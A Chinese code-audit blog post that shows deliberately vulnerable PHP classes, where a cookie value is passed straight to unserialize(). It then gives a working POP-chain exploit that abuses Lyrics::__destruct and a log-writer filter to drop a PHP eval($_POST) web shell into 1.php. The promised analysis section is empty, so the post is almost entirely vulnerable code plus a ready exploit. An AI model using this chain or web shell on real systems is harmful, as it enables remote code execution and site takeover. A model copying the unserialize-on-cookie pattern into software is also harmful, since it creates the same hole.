利用POP CHAIN反序列化构造RCE一则
in Code-Audit with 0 comment

利用POP CHAIN反序列化构造RCE一则

in Code-Audit with 0 comment

代码

代码被我有所改动,去除了一些无用类,修改了一些地方降低难度。

<?php
class OutputFilter {
    protected $matchPattern;
    protected $replacement;
    function __construct($pattern, $repl) {
        $this->matchPattern = $pattern;
        $this->replacement = $repl;
    }
    function filter($data) {
        return preg_replace($this->matchPattern, $this->replacement, $data);
    }
};
class LogFileFormat {
    protected $filters;
    protected $endl;
    function __construct($filters, $endl) {
        $this->filters = $filters;
        $this->endl = $endl;
    }
    function format($txt) {
        foreach ($this->filters as $filter) {
            $txt = $filter->filter($txt);
        }
        $txt = str_replace('\n', $this->endl, $txt);
        return $txt;
    }
};
class LogWriter_File {
    protected $filename;
    protected $format;
    function __construct($filename, $format) {
        $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
        $this->format = $format;
    }
    function writeLog($txt) {
        $txt = $this->format->format($txt);
        //TODO: Modify the address here, and delete this TODO.
        file_put_contents("/Applications/XAMPP/htdocs/" . $this->filename, $txt, FILE_APPEND);
    }
};
class Logger {
    protected $logwriter;
    function __construct($writer) {
        $this->logwriter = $writer;
    }
    function log($txt='') {
        $this->logwriter->writeLog($txt);
    }
};
class Song {
    protected $logger;
    protected $name;
    protected $group;
    protected $url;
    function __construct($name, $group, $url) {
        $this->name = $name;
        $this->group = $group;
        $this->url = $url;
        $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
        $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
    }
    function __toString() {
        return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
    }
    function log() {
        $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
    }
    function get_name() {
        return $this->name;
    }
}
class Lyrics {
    protected $lyrics;
    protected $song;
    function __construct($lyrics, $song) {
        $this->song = $song;
        $this->lyrics = $lyrics;
    }
    function __toString() {
        return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
    }
    function __destruct() {
        $this->song->log();
    }
    function shortForm() {
        return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
    }
    function name_is($name) {
        return $this->song->get_name() === $name;
    }
};
class User {
    static function addLyrics($lyrics) {
        $oldlyrics = array();
        if (isset($_COOKIE['lyrics'])) {
            $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
        }
        foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
        setcookie('lyrics', base64_encode(serialize($oldlyrics)));
    }
    static function getLyrics() {
        if (isset($_COOKIE['lyrics'])) {
            return unserialize(base64_decode($_COOKIE['lyrics']));
        }
        else {
            setcookie('lyrics', base64_encode(serialize(array(1, 2))));
            return array(1, 2);
        }
    }
};

User::getLyrics();

exp

$fltr = new OutputFilter("//i", "<i><?php eval(\$_POST[1]);?></i>");
$format = new LogFileFormat(array($fltr), "\n");
$filename = '1.php';
$logwrite_obj = new LogWriter_File($filename, $format);
$writer = $logwrite_obj;
$logger_obj = new Logger($writer);
$lyrics = 1;
$song = $logger_obj;
$lyrics_obj = new Lyrics($lyrics, $song);
echo base64_encode(serialize($lyrics_obj));

分析

等个闲时间。。

Responses